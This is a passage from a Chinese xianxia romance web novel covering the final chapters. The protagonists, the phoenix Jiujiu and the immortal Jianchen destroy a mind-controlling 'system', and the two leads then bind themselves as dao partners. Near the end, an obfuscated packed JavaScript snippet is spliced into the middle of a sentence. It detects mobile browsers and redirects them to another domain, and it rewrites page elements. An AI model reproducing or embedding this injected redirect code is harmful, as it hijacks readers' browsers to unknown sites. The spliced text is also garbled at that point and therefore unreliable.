见尘上仙看着啾啾,眼中划过了一丝明显的好奇。 江晏听他道:“刚才只顾着同你们说话,我竟未曾留意,这处,居然也有一只小凤凰。” 说罢,便向啾啾招了招手:“上前来让我们看看吧。” “凤凰对你很感兴趣。” 听到这里,江晏一时间有些摸不准见尘上仙的意图了: 他究竟只是单纯地想见见啾啾,还是说,想把这只更适合存在于仙界的小鸟带回去? 心思这么一动,他便不由自主地向前踏出一步。 见尘上仙见了他的动作,却是笑了,口中道:“小友不必紧张。” “它既然有凤凰之形,想来和我这只凤凰是有一定渊源的。” “我只是想弄清此事,并不会做出什么不利举措。” “看那小凤凰的神态,是极为依赖你们的,我自然也不会强行把它带离你们身边。” 得到了这个答案,江晏便安心了很多,这才后知后觉地意识到,自己居然同修真界中传说般的人物说上话了。 但说的内容却一点也不正式,甚至还让对方看穿了心思,出言安慰自己。 ——实在是有些丢人了。 但江晏毕竟在修亭峰峰主的位置上坐了多年,即便此刻心中有些混乱,面上却丝毫不显。 他只是后退一步,摸摸啾啾的脑袋,又放开手,示意它走上前去。 得了应允,啾啾便张开翅膀,在低空中掠过一段距离后,稳稳落在了登仙台中央,正是在见尘上仙和凤凰的虚影前。 只见那凤凰抬起脖颈,慢慢向啾啾靠过来,围绕着这只小凤凰游走了一圈,回到了原地。 接着,又探出脑袋,伸出尖尖的鸟喙,在啾啾头部嗅了嗅。 江晏在一旁看着,甚至能看到啾啾头顶的一簇火红的立羽,在凤凰的呼吸喷洒间颤了颤。 同样颤了颤的还有啾啾。 即便它现在已经身为一只凤凰了,但毕竟是才刚刚化形的小凤凰,再加上面对的是仙界的凤凰祖宗,这带来的压迫感可不小。 于是,就正如江晏所见,小凤凰战战兢兢地瑟缩了一下。 江晏:…… 刚刚啾啾开天门的气势,在此刻荡然无存了。 不过所幸,凤凰并没有让啾啾丢脸太久。 凤凰终于收回了几乎抵在啾啾脑门上的长喙,啾啾便抖擞了精神,重新支棱起来。 它站在原地,是难得的安安静静的状态,瞪着一双眼睛,歪着脑袋,去看那正在和见尘上仙交流的凤凰。 毕竟隔着境界的差距,众人并不能知晓到底谈论了什么。 只见他们嘀嘀咕咕一阵后,这场对话终于有了结束,见尘上仙轻咳一声,似是对刚才的情况做出总结: “凤凰确认过了,果然不错,”他的目光从啾啾身上移向江晏,眼中含着笑,“恭喜小友了,这确实是一只小凤凰。” “而且,它是凤凰直接留下的血脉。” 江晏还未来得及做出回应,台上的啾啾却是欢天喜地地“啾啾”了两声。 于是见尘上仙的目光又随着声音转回到了啾啾身上,停了停,道:“嗯……已知凤凰的性格也是不尽相同的。” “这一只,就很活泼。” 在他说话的空档,江晏终于是得到了插话的机会,开口问道: “既然如此,那啾啾又是如何跨越天门的阻隔,从仙界来到修真界的呢?” 见尘上仙听了,微微挑眉:“哦?原来只小凤凰叫做啾啾啊。” 江晏点点头。 见尘上仙便笑了:“不知道是谁给它取的名字——倒也是可爱。” 江晏干咳一声:“啾啾自己给自己取的。” 啾啾也在一旁歪了歪脑袋,附和着。 见尘上仙伸出手来,用虚影摸了一把啾啾的脑袋,才慢慢道:“看来你也对啾啾的来历感到迷茫。” “我方才和凤凰沟通了一番,如此便讲给你听吧。” 见他说到这里,宁时也不由得站在了江晏身边,同他一起听着见尘上仙口中的故事: “你刚才问我,啾啾是如何跨过仙界和修真界的阻隔来到你们身边的。” “但事实并非如此,它诞生的时候,天门还未关闭。” 闻言,江晏宁时对视一眼,俱是惊讶——那颗当年从云山幻境里带出来的蛋,居然有如此悠久的来历。 见尘上仙还在讲着这段往事:“想来你们都知道我飞升之前的故事,我曾经归隐于山林,又救下了一只大雁。” 他拍了拍座下凤凰的脑袋:“其实那只大雁,就是凤凰。” 于是登仙台上的修士们愣了一瞬后,随即发出了此起彼伏的议论声: “咦,我记得传说中没有提到凤凰啊,说的是神鸟。” “——你傻啊,神鸟是个统称,怎么不能包括凤凰呢?” “那这么说来——” 见尘上仙微笑着,听了片刻他们的议论后,才再次出声道: “是了,凤凰是神鸟,自然也是能化形成大雁的。” “凤凰曾在修真界游历山川,所以,”他目光在获雁山上扫了一圈,“除了此处故地,自然也是在其他地方留下过痕迹,却未必是以神鸟的形态了。” “因此,有未知的遗留下来的血脉也正常。” “当年凤凰在游历获雁山之前,曾路过云山。” “云山中有一幻境,凤凰被卷入其中,并在幻境内部产下一凤凰蛋。” “后来,凤凰破开幻境离开,只当幻境中的一切皆是虚妄,便没有再留心。” “却不料,一枚真真正正的凤凰蛋,就这样被遗留在了修真界中。” “并于多年后,孵化出了啾啾。” 见尘上仙说罢,便不再言语,虚影微微仰头,似是沉吟他事。 而听到他口中这些,江晏不由得再次望了宁时一眼,却正好同对方看过来的眼神撞在了一起。 宁时嘴角抽了抽,最终小声道:“原来是一颗凤凰蛋,怪不得才有那么大的力气。” “把我们两个一同撞飞出云山幻境。” 他似乎越说越起劲了,用手指戳了下江晏的腰侧:“你说,当年我们冲出幻境,究竟是被啾啾撞的,还是……” 宁时身形动了动,特意把自己一张脸凑到江晏面前,语气轻快,尾调上扬好似带着把小钩子:“还是说,有人早就爱上我了呢?” 江晏:……< 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“我的肉身是凤凰给的,神魂又来源于上古神器断水剑。” “啾,我就是修真界最厉害的小鸟了!” 说罢,翘着华丽的尾羽在原地转了一圈。 江晏:…… 宁时则是把啾啾动作间扫到他脸上的长羽按下,平静道:“嗯,啾啾真厉害,捡到啾啾的我也很厉害。” 说罢,又扭着脸去看江晏,一言不发,但面上却是一副非常渴求夸奖的神态。 江晏看着这一人一鸟,突然之间很想扶额叹气了: ——一个是活了一百多岁的人,一个是肉身存在了几千年的凤凰,怎么都还如同小孩一般幼稚呢? 但转念一想,啾啾小时候的神识在一片虚无中,而宁时的小时候……不提也罢。 ……所以,安慰一下这没有童年的门主和凤凰,应该也不算过分吧。 江晏如此思考后,最终对着宁时和啾啾点点头:“嗯,你们很厉害。” “我身边有修真界最厉害的符修,和最厉害的小鸟。” 他望着啾啾愈发昂扬的尾羽,最终还是忍不住道:“说起小……,啾啾,你还会不会变回去?” 啾啾哼唧一声:“我毕竟才会化形,还需要适应一下。” 这顾左右而言他的回答,江晏算是听明白了,啾啾的答案就是:不会。 于是他在心中默默怀念了一下啾啾的未觉醒形象。 就在此时,登仙台边角处发生了轻微的骚乱。 江晏皱眉,仔细听去,却是听到了修士们带着喜悦的声音: “白掌门!” “白掌门醒了!” 心中松快不少,江晏正欲越过人群上前,而那浮在空中的见尘上仙却也被台上的变化吸引,垂目看过去。 …… 片刻后,修士们听到了见尘上仙的声音: “他是你们这次行动的主事人?” “见到他,我倒是有另一件事想说。” 见尘上仙停了停,再次开口时,声音格外清晰,传遍了整个山谷: “我们仙界和修真界一起,去解决掉那系统,如何?” 188. 合谋 若是从前有人对修真界的修士说“有一天,仙界的困难需要你来帮忙”,那修士必然是不信的。 但此时此刻,从见尘上仙口中说出的那句话,是万万做不了假的—— 他说,仙界要和修真界一起,去解决掉那系统。 一时间,人心浮动: “我们真的能帮上忙吗?那可是仙界啊。” “谁知道呢,不过上仙都亲口邀请我们了,我们想来也是有用的吧,毕竟人多力量大。” 也有不少修士已经想到了更远一步的事情: “那系统被解决之后,是不是说明仙界的混乱就消失了?” “应该是这样——那是不是意味着隐患被排除,天门可以打开了?” “这可太好了!我们又能飞升了!” …… 修士们七嘴八舌地议论了片刻,又纷纷拿着目光去瞄自己门派的掌门,和刚刚苏醒的白一苇。 白一苇身上才有了些力气,虽未完全恢复,但也是听到了见尘上仙方才的话。 他便有气无力道:“都看着我做什么,你们的意思也就是我的意思。” “修真界本就与仙界息息相关,说成同为一体也是不为过的。” “我已经听到了你们的讨论,为了修真界的长远,我想,我们还是应当接受见尘上仙的邀请。” “共同找出那系统,并把它抹除。” 白一苇说完这段话后,略微气喘,他停了停,目光一一掠过众修士的脸庞,轻声道:“你们,也是这样想的吗?” 回应他的,是几乎掀起整个登仙台的“是”。 …… 结果已经很明显了,见尘上仙垂目看着他们,轻声道:“我知道了。” 这一声依旧清晰地传进了修士们的耳中,场上逐渐安静了些。 江晏和宁时贴在一起,听他说道: “很高兴能够和修真界合作。” “接下来,就让我来介绍一下针对系统的计划吧。” 见尘上仙的虚影动了动,伸出手指着那落在地面上、已经缩小到鸡卵大小的聚灵阵,道:“此物不知你们是如何研究出来的,能量巨大,方才也是它破开了天幕。” 既已知道关天门的真相,此时再被正主提起强行破天门之事,修士们的脸色不免有些尴尬。 见尘上仙没有感到他们的心思,只是继续说着:“如此强大的能量,再加上我们的神力,应该足以让系统灰飞烟灭了。” “但是,”他话锋一转,“这些是我们控制住系统之后的事情了。” “第一步,应当是抓住系统。” “众所周知,系统是没有实体的,它存在于虚空中,甚至可以寄生在人的意识海中。” “不仅如此,花棉的遭遇还告诉我们,系统可以在不同的空间之间穿梭。” 听到这里,江晏想到了什么,一种预感开始在心中蔓延。 见尘上仙目光在登仙台上逡巡,似乎在寻找什么:“如此,我们需要同样有这种能力的同盟。” “仙界自然是有能穿梭时空的仙人,但很可惜,他受系统影响颇深,已经到了不能同我们正常交流的程度。” “而仙界有同类功能的法器,也是受他驱使。” “所以,仙界在这方面可以说是束手无策了。” 说话间,见尘上仙终于在人群中找到了他的目标,移动的目光终于定了下来,定在了啾啾身上。 他道:“我曾听闻,从前修真界中,有一把神器名剑,唤为断水。” “此断水剑,得名于‘抽刀断水水更流’和‘逝者如斯夫,不舍昼夜’。” “可斩破时间,跨越古今,沟通宇宙。” “同样令人遗憾,此把名剑,已经不存在于世上了。” “但是,它在消失之前,碎片散落在修真界中。” 见尘上仙对啾啾抬起一只手,招了招:“刚才我就已经感受到了,断水剑的残片,就留在这只小凤凰身上。” 他望着啾啾的眼睛,问道:“啾啾,你愿意帮我们的忙吗?” 江晏看得出来,见尘上仙这个问题完全是出于礼节——毕竟,啾啾从他提到“断水剑”那句时,就明显处于满怀期待的亢奋状态。 小凤凰尾巴上的羽毛就没有平下来过,啾啾翘着尾羽,在见尘上仙的目光中,点头如捣蒜: “啾啾!我愿意!” “正好还能瞧瞧仙界的模样!” 得了这个回答,见尘上仙便笑了。 他身后金光熠熠,只听他道: “既然如此,我就借修真界的聚灵阵,和小凤凰啾啾一用。” “我携他们到仙界,一同寻找系统的踪迹。” “自然,如果诸位有同行的意愿,便举手示意,以让我知晓。” “我自然会带着你们一同飞去。” 这句话说完,见尘上仙停了停,似乎又想到了什么,补充道: “哦,我得解释一下——是暂时带你们去仙界,并不意味着你们飞升成功了哈。” 江晏:…… 众所周知,每一句特意解释的话,必定是有存在的道理。 仅仅是从这段充满了限定条件的补充中,就足以窥见见尘上仙曾经经历了什么。 想来他这些年也是相当心累了。 江晏一边如此想着,一边去看宁时,问:“你要去吗,我想上去看看。” 宁时回道:“早就猜到了你要去——这样的机会难得。” 说罢,用右手抓着剑修的左手举了起来,又举起自己的左手。 这样的姿势未免亲密了些,江晏先是一惊,扭头去看旁人的反应,却是见他们目光直直掠过自己和宁时,神色如常。 江晏:? 他顶着一脑袋问号,小声对宁时道:“他们看我们贴在一起,怎么也不奇怪?” 宁时则是无所谓道:“无事——毕竟我们刚才在搭天梯和输灵力时,也没少挨在一起。” 江晏被他噎了下,但转念一想,确实如此: 神魂归位后,那种源自灵魂的喜欢,再加上隔着时空的久别重逢,二人是根本隐藏不住互相的感情。 在旁人的角度,他们之间的关系可能早已被琢磨得透透了。 剑修就有些无奈,但与此同时,另一种释怀和隐约的喜悦也浮上心头: 他和宁时的关系,不能总这样一直藏着,偷偷摸摸的。 反正早晚是要告知于天下的,此时被他人察觉,也并不算 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他慢慢抬起手臂,向宁时的方向凑了过去,并最终回抱住了对方。 他们漂浮在空中,胸膛上都是另一个人的心跳。 同一个灵魂,在两个胸膛中共鸣。 在呼啸而来的风声中,宁时贴在他耳边,用力说着: “晏晏,这种感觉熟悉吗?” 他每吐出一个字,胸膛就忽地颤动一下。 江晏想,他好像摸到了宁时的灵魂。 以及他自己的灵魂。 他头晕目眩,但却意外地清醒。 于是剑修同样贴在对方耳边,道: “熟悉。” “这是我们穿梭于每个世界之间都要经历的。” 然后他感觉自己的肩窝似乎被什么东西抵住了——那是宁时的下巴。 宁时大约是做了个点头的动作,接着,闷闷的声音贴着肩窝温热的皮肉透过来: “嗯,所以每次经历这种感觉时。” “我都觉得自己离你的灵魂更进了一步。” “有一种,要回家的感受。” …… 金光渐渐散去,那悬空无所依的波动也同样消失了。 众人尚未睁开眼睛,脚下却先传来了奇异的触感。 柔软的,同时又略带弹性。 踩在上面舒服极了,有种在梦境中奔跑的自在。 江晏忍不住,脚下微微用力,仔细感受。 此刻,见尘上仙的声音从四面八方传来,浩荡飘渺: “我已将你们带到仙界。” “睁开眼吧——金光已经消失了,可以正常视物。” 众人依言举目四顾,只见此时自己正位于一座辉宏的大殿之中。 而在他们脚下,则是缭绕的云雾——想来这就是那奇异触感的来源。 接着,眼前几条光芒闪过,众人还未看清,便先听到了数道陌生的声音: “见尘,你把我们叫过来,是有何事?” “咦——你还从修真界带了这么多人过来。” “是有什么打算吧?赶快和我们说说?” 189. 计划 在同几位上仙交谈后,众人终于摸清了状况: 见尘上仙叫他们来此,是为了改造那聚灵阵。 上仙们只需要在聚灵阵上稍作改动,就会在原有的放大灵力的功能上,同时增加追踪寻物的功能。 而至于是追踪什么,答案自然不必说——除了系统,还能有什么呢? 修士们在原地站着,看着面前的上仙们掐了手势,又从指尖飞出道道仙力,没入那聚灵阵中。 只见依旧保持着鸡卵大小的阵法颤了颤,随即安静下来,但颜色却愈发浅淡了。 直到最后,在众目睽睽之下,这阵法已经变成了和环境相同的颜色,完全看不到了。 见此,众修士不由得纷纷惊叹。 上仙们见他们疑惑,便开口解释:“不必担心。” “只是将阵法从有形化为无形——毕竟使用追踪功能的话,还是无形方便一些,对吧。” 这话确实不错,修士们点点头,片刻后,又有人问道: “仙长,那这又是如何能追踪到系统的呢?” 那刚刚回答了上一个问题的仙长笑了笑,道:“你去问见尘,这个想法是他提出来的,总归是比我们更清楚。” 说罢,抬起手来,隔空点了点见尘的右肩:“欸,说你呢。” 见尘果然似有所感,向右扭过头:“行吧,就料到你们懒得说。” 又转回头来,对众修士道:“我们也是研究系统千百年了,多少有些效果。” “比如,我们发现,系统存在于人脑,看不见摸不着,但如果它想做出一些作用于我们世界线的举动,就会留下痕迹。” “展开来说,如果系统想控制住花棉,让她去找揽霞。” “那就会在花棉做出真正的动作之前,一直到她完成去找揽霞麻烦这件事完成之后,在花棉的住处、在她身周,甚至于揽霞身周和花棉走过的沿途路径,都会产生轻微的能量波动。” “这种波动,不同于我们平时施展仙术时的情况,所以在一开始,并没有人发现异常。” “总之,在漫长的岁月中,我们也许是凭借自己的观察,也许是凭借法器,捕捉到了这种异样。” “这也算是一种突破。” 见尘上仙停了停,又道:“所以,刚刚我们给聚灵阵添加的功能,就是检测并追踪这种波动。” 他讲到这里,望着殿中修士面上各异的神情,似乎想到了什么:“啊,你们不必担心系统发现了我们的意图,从而根本不行动,以至于无法捕捉踪迹。” 有了他这句话,修士们便安心许多——若真是系统有意躲藏,那这场追捕,可就遥遥无期了。 “看来,我要给你们解释一下系统生存的原理,”见尘上仙补充着,“这也是我们跟着花棉一起研究出来的。” “噢,你们还没有见过她——她现在状态不算好,不过总有机会能见面的。” “我们继续说系统,”见尘上仙曲起指节,似是无意识地轻轻敲击着面前案几,“系统改变我们的行为需要消耗能量,相应地,它自然也需要摄入能量。” “那么,它要从哪里才能获得能量呢?” 见尘上仙露出了一个难以言明的神情:“它的能量,来源于那些被控制后发生的剧情。” “它从这些荒谬的剧情中,吸取能量。” “或者说得更详细一些,这些被卷入故事中的人,不可避免地,会产生激烈的情绪波动。” “而系统,就是在这些情绪中吸取能量。” 见尘上仙做了总结:“这就是系统吸取能量的方式了。” “所以,就像我们刚才说的,根本不用担心系统会有意躲藏。” “毕竟,如果系统一直袖手旁观,放弃对这个世界做出改变,那相应地,它也就失去了能量来源,能量同样会衰弱。” “这样看来,系统必定会有所动作。” “至于什么时候开始,这也好说——根据我们的观察,系统每天都会在仙界制造一些混乱。” “而今天,”见尘上仙看着众修士,道,“可能由于你们开天门的原因,让系统感到不安,它今天还没有出现。” 说罢,随即又安慰道:“想来应该无碍——它应该快要出现了。” “我们只需要在这里等着就好。” 见尘上仙的尾音消散在大殿之中,众人抬起头,望着刚才那聚灵阵消失的方向,片刻后,转而又看向啾啾。 啾啾:? 它像从前还身为一只小鸟时一样,歪了歪脑袋。 见尘上仙看它如此,便说:“待到聚灵阵检测到系统后,自然是能指出其所在的方位的。” “这时,就要麻烦小凤凰啾啾了。” 啾啾自从成功化形之后,被灌了一耳朵的“凤凰”,这其中,还是以从见尘上仙口中说出来的最多。 自然而然,啾啾对见尘的好感比别人多上了那么几分,此时听见他专门提到了自己,尾巴不由得翘了翘,发出一声坚定的“啾!”。 见尘上仙就笑了:“小凤凰身负断水剑残片,想来是很厉害的。” “系统的存在,同仙界隔着纬度,还请啾啾帮忙,把它从另一头捉出来。” “剩下的事情就好办了,凭借聚灵阵,再加上我们的仙力,足够把系统摧毁掉了。” 这样一番话后,众人终于是明白了这个计划。 一时间,大殿内窃窃私语起来,大多是修士们在讨论着那系统何时出现。 江晏同宁时坐在人群的角落中,一面听他们说的,一面时不时交谈几句。 宁时小声道:“系统……这种东西真的能消灭吗?” “我们从前只消灭过怨灵妖兽等等,却未见过这种情况。” 江晏知道他指的是曾经二人在金鸡驿的事,心思不由得飘远了。 他还尚未回答,宁时却又忽然之间想起来了什么,自言自语道: “不对,我们其实见到过消灭系统这种情况的。” 于是那遥远的思绪被拉回,江晏微微直起身子,“哦?”了一声。 宁时侧过脸看着他,却是先叹了一口气:“你忘了也好——那是你作为小狐狸时的世界了。” 江晏:…… 很好,他想起来了。 ——在那个小世界的最终结局里,控制着剧情走向的世界意志消失了。 于是,灰暗消散,青山复绿。 想到这里,江晏终于算多了几分信心。 他正欲开口同宁时分析仙界系统和那个小世界的相似之处时,空气中却陡然 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说罢,衣袖一挥,众人只觉得眼前突然花了花,待到视线再次清晰之后,便看到了眼前古香古色的建筑: 不过是瞬间的功夫,见尘已经将他们带到了华然的住处。 而此时,那阵法上的画面也发生了变化。 江晏同宁时站在一处,只见画面中青石小径上,出现了一名束冠男子的身影,想来就是华然。 二人见此,不约而同地对视一眼,又低头看向自己脚下的青石路,片刻后再次抬头。 江晏先开了口:“唔,想来华然上仙正向我们所在的位置走来?” 宁时便点点头,又道:“……真难得,我从来没有想过能有一天看到这么多上仙。” 他未尽的话被从影像里传来的声音淹没了。 只见华然在小路上步履匆匆,口中还一边喃喃道: “不行,我要去见花棉。” “我要和花棉在一起——他们凭什么要把我们分开?” 听到此处,众人不由得纷纷扭头,将目光落在“棒打鸳鸯”的见尘和其他几位上仙身上。 见尘亦是见到了阵法中的影像,额角抽动:“果然,华然又被系统控制了。” “看方向,他居然还正在向我们这边走来。” “那事情就好说了,”见尘上仙目光射出灼灼的光芒,道,“等他一出现,啾啾先打破仙界和系统空间只间的限制,把系统揪出来。” “接着,我们只需要用聚灵阵炸过去就好了——一定能让那系统灰飞烟灭!” 在见尘说话的间隙,宁时凑到江晏耳边,小声道:“这位上仙,如果我没记错的话,好像也是剑修。” 江晏已经预感到他说不出什么正经话,但依旧毫无头绪:“……你到底想说什么。” 宁时语速极快:“这种暴力的行事作风,不愧都是剑修,如出一辙。” 又在江晏对他翻白眼之前,迅速正了神情,语气严肃,小声道:“别闹,我们忙正事呢。” 江晏:…… 他几乎要被分魂气笑了。 但宁时说得不错,正戏,即将开演。 190. 道侣契 在青石小径的尽头,隐隐绰绰出现了个影子,仔细看去,果然是方才影像中的华然。 他大步流星,怒气冲冲,然后却在抬头的一瞬间,望见了几乎占满了大半个院落熙熙攘攘的众人。 即便此刻是被系统控制着,华然依旧是愣了一下,犹疑开口:“你们……” 趁他分神的这一刻,啾啾从江晏身边掠起,直直冲向华然身边,腾空带起一道金红的流光! 华然大惊,生生转了一个话头:“这又是什么?!” 啾啾在须臾之间已经飞扑到他的面前,并不答话,只是大张着一双鸟爪,在华然头顶不过一拳高的地方,猛然虚虚抓下! 在鸟爪闭合的瞬间,有锋利清脆的声音传遍全场。 至于华然,则是完全愣住了,站在原地一动不动。 江晏细细看过去,却发现,华然并不是在愣神——他分明是被某种不知名的力量定在了原地! 而更有可能的是,是这股神秘的力量在凤凰划破空间的一击下自顾不暇了,已经失去了操控傀儡的精力: 此时的华然,已经成为了一具空壳,这具身体原装的灵魂正不知在何处沉睡,而控制着这具身体的系统,正在逃窜。 受能力限制,众人并不能看清系统的行迹,但依旧可以从啾啾的活动线路中窥见一斑。 只见啾啾仰颈振翅,似是追逐着什么东西。 这场追逐战还颇为激烈,不过片刻的功夫,啾啾身上火红的羽毛已经微微凌乱。 江晏看着,多少有些心疼了——这陪伴了他数个世界的骄傲小鸟,羽毛无时不刻都是鲜亮油润的,何时吃过这种亏? 想来宁时心情也是如此,只见这符修开口,扬声对啾啾道:“啾啾,抓住它!不能白白让它欺负我们!事成之后,你的零食和鸟爬架,胜意门全包了——” 啾啾精神为之一振! 凤凰腾空跃起,长颈向某个位置探去! 一时间,一种难以言明的刺耳的声音,灌入修士们耳中,令众人不由得纷纷举手掩耳。 在这异变中,江晏眯着眼睛,看向啾啾: 那修长的鸟喙尽头,衔着……一团光? 此时此刻,即便是没有见到过系统的模样,但江晏也立即确定了,那团苍白的光芒,就是系统。 啾啾叼着这团光,如同一只捡回玩具的小狗,翘着尾羽,飞向见尘上仙。 而见尘口中接下来的话也验证了江晏的猜测:“注意!系统已经被揪出!” “接下来我们要开启聚灵阵,用仙力和灵力摧毁系统。” “请诸位务必做好防护措施!以免被力量波及。” “我倒数十个数,计数为零之时,灵力即将爆出!” “十,九……” 此时距离开天门已经过去了一段时间,不少修士已经恢复了许些,便晕出一团灵力,将自己包裹在内。 自然,也有的修士尚未恢复,这种情况下,他们的同伴便会将暂时失去力量的修士纳入自己的灵力罩中。 江晏则是在体内探测了一番,随即忧伤地发现……自己的内府依旧是空空如也。 他抬头,果然对上了宁时一双含笑的眼。 宁时身周是一团红色的灵力,完全将这符修包括在内。 只见符修一手拉着自己的灵力罩,将其破开了个口子,另一只手则是直直向剑修伸出,完全是一个邀请的姿态。 宁时笑道:“就凭你刚才那股不要命的劲,早就猜到现在还不行呢。” 又勾着嘴角:“要是你想进来,除非叫我一声……” 他话音未落,江晏便毫不迟疑道:“道侣你好。” 他的尾音飘到符修耳中,宁时脸上浮现了难以置信的神情,但口中却还顺着刚才的思路,慢慢说出余下的两字:“……哥哥。” 这句话终于完整地说完了,二人间的空气安静到了极点。 江晏木着脸,好似刚才说过的话和他本人毫不相关,只是望着虚空中的某点,一言不发地将手搭在宁时手上,借着分魂的力气走入防护罩内。 而宁时亦是静默的,默默将防护罩恢复成密不透风的球。 在罩子外,见尘上仙的倒计时还在继续:“五,四……” 江晏望着前方的聚灵阵,口中却突然道:“你不打算说点什么吗?” 在他看不见的地方,宁时的耳朵红了。 剑修的分魂凑过来,完全抱住了剑修。 然后在最后三个数的计时中,贴着人耳边,道:“嗯,所以我们什么时候结契办典呢,道侣?” …… 倒计时结束了。 聚灵阵炸出了相当可观的能量,甚至近乎于恐怖的程度了。 在刺目的白光中,在场所有人都听到一个声音在挣扎。 它的音色如同利爪划过头骨,寒意森森,带着行至陌路的疯狂: “为什么!你们这群蝼蚁能伤害到我!” 见尘上仙语气平淡:“既然能伤到你,便说明你才是蝼蚁。” 那声音停了一下,应该是被气得不轻,转而继续尖叫: “凭什么!你们明明是被我控制的——我控制过那么多人,凡人修士仙人都有,凭什么!” “凭什么你们就能挣脱控制!” 见尘上仙语气和缓:“那是因为你缺德事做多了——想来被你控制的人也不甘心吧。” “这么多的不甘心聚在一起,自然会在无形中影响你的能力。” “更何况,此次又不仅仅是仙界来追杀你。” 这番话后,系统果然又尖叫起来: “明明是我给了他们一个机会!他们是自愿被控制的!” “我给了他们放在以前根本就触摸不到的财富和权力——他们怎么会不满意?” 见尘上仙道:“那你可又问过那些人的意思?” 系统在嘴硬:“根本不用问——他们做不好任务明明是自己不争气。” 它似乎越说越有理了:“因为这样,我才不得已接管他们的身体的!” 这句话似乎点起了见尘上仙的怒意。 他不再说话,而是甩出一道灵力向聚灵阵中,果然,众人不出所料地听到了系统一声更加撕裂的嚎叫。 事已至此,似乎已经看到了湮灭的未来,系统全然疯狂了:“我从诞生之初,明明就是干这些事的!” “你们今天毁掉我,总会有一天,还有新的系统诞生,找上你们的!” 众人闻言,面面相觑。 系统见他们如此,便爆发出一阵撕心裂肺的狂笑。 在修士们惊疑不定之时,见尘上仙出声了: “不必听它胡言乱语,再有系统来,不过是再次重复一遍今天的动作罢了——我们能杀它得了一次,自然还会有第二次!” 他的话好似一颗定心丸,人群惶惶的神色消散褪去。 而阵法中,系统的嘶吼声,从一开始的响彻全场,到渐渐低弱,最终完全消失不见。 见此,见尘上仙轻声道:“……结束了。” “仙界不会再有系统的祸乱,修真界也不会再有系统入侵的担忧。” 他挥挥衣袖,于是那聚灵阵迅速缩小,依旧是变成了一枚鸡卵大小,落在地面上。 而那地面,除了被灵力轰炸过的坑洼后,竟是再没有其他一丝一毫的印记了——系统就像是水珠,从这个世界中蒸发消散了。 见尘上仙看着那坑洼,又抬起头再次看向已经撤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453610|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去防护罩的众修士,说: “最重要的是,仙界和修真界之间的通道,再次打开了。” “你们修为够了之后,可以登天梯,入天门,飞升上来了。” 众人眼中亮了亮。 见尘上仙却叹了口气,扭头看了看那边正在逐渐恢复神智的华然,道:“嗯,你们可以放心了。” “回去吧,仙界剩下的事,便由我们自己处理吧。” 修士们还没来得及说什么,只见他再次挥动衣袖——于是那熟悉的光芒闪过,伴着轻微的晕眩感,他们的脚又踩到了实处。 众人睁眼,却见自己又回到了登仙台上。 而至于刚才在仙界中经历的一遭,却像是做梦般——除了那高耸入云的天梯,和流光溢彩的天门依旧悬在半空中外,是再也找不到他们曾去往仙界的痕迹了。 …… 登仙台上。 江晏微微动了动,试图挣开宁时的怀抱: 是了,从方才他们在仙界一同躲在灵力罩中,一直到回到修真界中,他都在被宁时搂着。 而这个姿势,也自然而然地让他想起了宁时曾在仙界说过什么。 在啾啾清脆的鸟鸣中,宁时松开了他。 分魂在他面前站着,漆黑的瞳仁盯着他。 江晏突然感觉自己嗓子有点干了,一颗鲜活的心在他的胸腔里砰砰直跳。 于是剑修清了清嗓子,干咳一声,道:“唔……刚才有些事情,我们没能在仙界好好说完。” “现在继续。” 在他的话语间,宁时的眼睛越来越亮,中间映着他的倒影。 有风自山林间穿过,掠过登仙台。 拂过二人身间。 江晏的声音同风声混在一起,但落在宁时耳中,却是意外地清晰: “结契大典,自然是要择一个良辰吉日的。” “在胜意门,在合江宗,或者在两地办两次,都是极好的。” 宁时就点点头。 江晏又抬起手来,对他的分魂道:“伸手。” 宁时预感到了什么,依言伸出右手,同时,心脏无法控制地颤动。 只见江晏伸手同他的右手交叠,随后闭目,口中喃喃了一段法咒。 于是一股热流淌过二人重合的掌心。 江晏终于睁开眼,望着宁时。 到了他们这种修为,自然是对各种法术了如指掌了,宁时全然明白,刚刚江晏是做了什么。 心中的预感成了真,宁时再开口时,声音甚至因巨大的喜悦而微微发抖:“刚才,你是给我们两个结下了道侣契吗?” 江晏“嗯”了一声,道:“剑修向来是说干就干的——你方才问我何时结契,”他松开宁时的手,抬起自己的掌心,面向对方,“看,这不就结好了吗?” 宁时在飘在云端的熏然中,看到了江晏掌心中央的一点红。 他后知后觉地翻看自己的手掌,果然亦是在同样的位置发现了红点。 宁时几乎是下意识地戳了戳它。 江晏站在他身旁,道:“你动它,我会有感觉的。” 说罢,也用指尖轻轻划过自己的掌心红点。 于是宁时感受到了一股轻微的拉扯感。 是让人很安心的感觉,像是风筝被系在风筝线上。 终有归依。 他们的灵魂,从一体到分离,又被连成了一体。 不会再有任何东西把他们分开了。 古月西沉,江海奔流。 春山可望,东风迢迢再渡人间。 获雁山上的落花划过宁时指尖。 他对江晏说: “我们一起回家吧,晏晏。” (正文完)